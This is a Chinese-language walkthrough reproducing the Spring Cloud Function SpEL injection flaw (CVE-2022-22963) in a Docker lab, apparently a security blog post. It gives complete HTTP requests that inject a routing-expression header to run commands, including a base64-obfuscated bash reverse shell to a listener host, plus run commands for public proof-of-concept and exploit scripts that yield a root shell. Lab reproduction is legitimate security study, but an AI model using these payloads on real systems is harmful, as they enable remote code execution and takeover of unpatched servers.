赞
踩
Spring Cloud Function
是基于Spring Boot
的函数计算框架(FaaS),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
在版本3.0.0到当前最新版本3.2.2(commit dc5128b)
,默认配置下,都存在Spring Cloud Function SpEL表达式注入漏洞。
cd vulhub-master/spring/CVE-2022-22963
docker-compose up -d
172.16.7.110:8080
,出现以下界面,漏洞环境搭建成功。burpsuite
抓包,修改请求包:
post
,修改请求地址。Content-Type: text/plain
。spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("执行的命令")
- POST /functionRouter HTTP/1.1
- Host: 172.16.7.110:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Connection: close
- spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
- Content-Type: text/plain
- Upgrade-Insecure-Requests: 1
- Content-Length: 8
-
- test
进入docker
容器,发现ssuccess
文件创建成功。
- 反弹shell命令:
- bash -i >& /dev/tcp/172.16.7.105/8899 0>&1bash -i >&
- base64加密:
- bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNy4xMDUvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
- POST /functionRouter HTTP/1.1
- Host: 172.16.7.110:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Connection: close
- spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNy4xMDUvODg5OSAwPiYx}|{base64,-d}|{bash,-i}")
- Content-Type: text/plain
- Upgrade-Insecure-Requests: 1
- Content-Length: 4
-
- test
kali
监听端口成功反弹到shell
。因为操作都是一样的,所有这里正好试了一下网上的POC
和EXP
:
vulfocus
在线靶场,启动漏洞环境,访问:https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
python Spel_RCE_POC.py url.txt
python Spel_RCE_Bash_EXP.py url lhost lport
反弹到root shell
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。